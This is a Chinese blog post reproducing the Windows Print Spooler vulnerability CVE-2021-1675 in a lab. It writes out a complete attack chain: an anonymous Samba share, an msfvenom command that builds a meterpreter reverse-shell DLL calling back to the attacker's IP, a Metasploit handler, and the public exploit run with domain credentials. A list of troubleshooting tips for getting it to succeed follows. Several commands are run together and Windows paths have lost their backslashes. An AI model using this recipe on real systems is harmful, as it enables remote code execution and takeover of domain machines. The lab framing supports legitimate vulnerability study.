Deprecated: imwpcache\f884414bce24ee67f\f73723ec7b1919fa5::__construct(): Implicitly marking parameter $YECBGYFECGEAFWHA as nullable is deprecated, the explicit nullable type must be used instead in /www/wwwroot/www.chuangxiangniao.com/wp-content/plugins/imwpcache-dist/build/f884414bce24ee67ff73723ec7b1919fa5.php on line 2

Deprecated: imwpcache\f884414bce24ee67f\f73723ec7b1919fa5::__construct(): Implicitly marking parameter $BBWFDDBHHYHDXXAB as nullable is deprecated, the explicit nullable type must be used instead in /www/wwwroot/www.chuangxiangniao.com/wp-content/plugins/imwpcache-dist/build/f884414bce24ee67ff73723ec7b1919fa5.php on line 2
微软通杀漏洞-CVE-2021-1675复现_创想鸟
原创投稿
  1. 创想鸟首页
  2. 用户投稿

微软通杀漏洞-CVE-2021-1675复现

程序猿 • • 用户投稿

环境

受害机：window2019（192.168.153.133）

攻击机：kali（192.168.153.134）

利用前提

或许需要：SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限

一定需要：一个普通的域用户

一定需要：开启Spooler服务

微软通杀漏洞-CVE-2021-1675复现

环境搭建

安装impacket

代码语言：javascript代码运行次数：0运行复制

git clone https://github.com/cube0x0/impacketcd impacketpython3 ./setup.py install


下配置smb服务


vim /etc/samba/smb.conf


代码语言：javascript代码运行次数：0运行复制


[global]map to guest = Bad Userserver role = standalone serverusershare allow guests = yesidmap config * : backend = tdbsmb ports = 445[smb]comment = Sambapath = /tmp/guest ok = yesread only = nobrowsable = yes


sudo service smbd start


生成dll和启动msf


代码语言：javascript代码运行次数：0运行复制


msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.153.134 LPORT=4444 -f dll -o /tmp/rever.dllmsfconsoleuse exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcprun


微软通杀漏洞-CVE-2021-1675复现


微软通杀漏洞-CVE-2021-1675复现


下载exp


代码语言：javascript代码运行次数：0运行复制


cd ~/git clone https://github.com/cube0x0/CVE-2021-1675.gitcd CVE-2021-1675


利用漏洞


                                    代码语言：javascript代码运行次数：0运行复制


sudo python3 CVE-2021-1675.py djhons.com/test:Admin@123@192.168.153.133 '192.168.153.134smbever.dll'


微软通杀漏洞-CVE-2021-1675复现


微软通杀漏洞-CVE-2021-1675复现


微软通杀漏洞-CVE-2021-1675复现


遇到的坑


第一个坑：


        按照exp里面的smb配置文件配置smb后无法匿名登录，需要提供账号和密码，后删除最后一行后可正常匿名访问。在本次实验时通过资源管理器直接访问smb服务器提示组策略出问题但是这个问题可以忽略（我也不知道为什么可以忽略），还有一个奇怪的是在公司同样的配置物理机可以直接访问smb，在家的电脑上却也需要密码而只有win7能正常访问。反正按照我上面讲的就能利用成功。


微软通杀漏洞-CVE-2021-1675复现


微软通杀漏洞-CVE-2021-1675复现


第二个坑： 


      这是另一个cpp的exp。大概执行过程是受害机会将dll下载到C:WindowsSystem32spooldriversd这个目录下然后执行。首先这个cpp需要改4个地方，第一个是112行需要改成C:WindowsSystem32DriverStoreFileRepositorytprint.inf_amd64_[受害机特有的]Amd64、剩下是将三个含有old的路径改为C:WindowsSystem32spooldriversx64%s。问题来了，第一个问题是不知道112行那个受害机特有的路径是啥，第二个问题明明dll是上传到C:WindowsSystem32spooldriversd这个目录但是exp却是执行的C:WindowsSystem32spooldriversd这个目录下的dll而这个目录下根本就没有dll。我也尝试把三个含有old路径修改为C:WindowsSystem32spooldriversx643%s结果还是不行。


第三个坑：


       因为这个洞和域没关系，我没有域环境也不想搭就偷懒以win7为靶机，结果一直Connection Failed，这个折腾了我很久。我猜测可能和SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限有关系，因为我这个win7虚拟机没有这个两个权限，以前利用potato提权也失败了。


第四个坑： 


      在域控上面尝试过利用域管和本地管理员账号来利用这个漏洞，结果都不行只有普通域用户才能利用成功。如果是普通pc就没有账号的限制，但是在普通pc上利用这个漏洞的意义不大。 


第五个坑：


      利用成功之后sploor这个服务会自动关闭，也就是说这个漏洞只能利用成功一次。


微软通杀漏洞-CVE-2021-1675复现


END






以上就是微软通杀漏洞-CVE-2021-1675复现的详细内容，更多请关注创想鸟其它相关文章！


                                                        
版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。

如发现本站有涉嫌抄袭侵权/违法违规的内容， 请发送邮件至 chuangxiangniao@163.com 举报，一经查实，本站将立刻删除。

发布者：程序猿，转转请注明出处：https://www.chuangxiangniao.com/p/190560.html
赞 (0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
0 0

关于作者

程序猿的头像

程序猿签约作者

413.8K 文章
0 评论
2 粉丝
这个人很懒，什么都没有留下～
windows10快速启动功能怎么关闭_windows10快速启动关闭教程
上一篇 2026年9月7日 02:18:52
eclipse怎么导入mysql的jar包
下一篇 2026年9月7日 02:22:58

相关推荐

发表回复

登录后才能评论
关注微信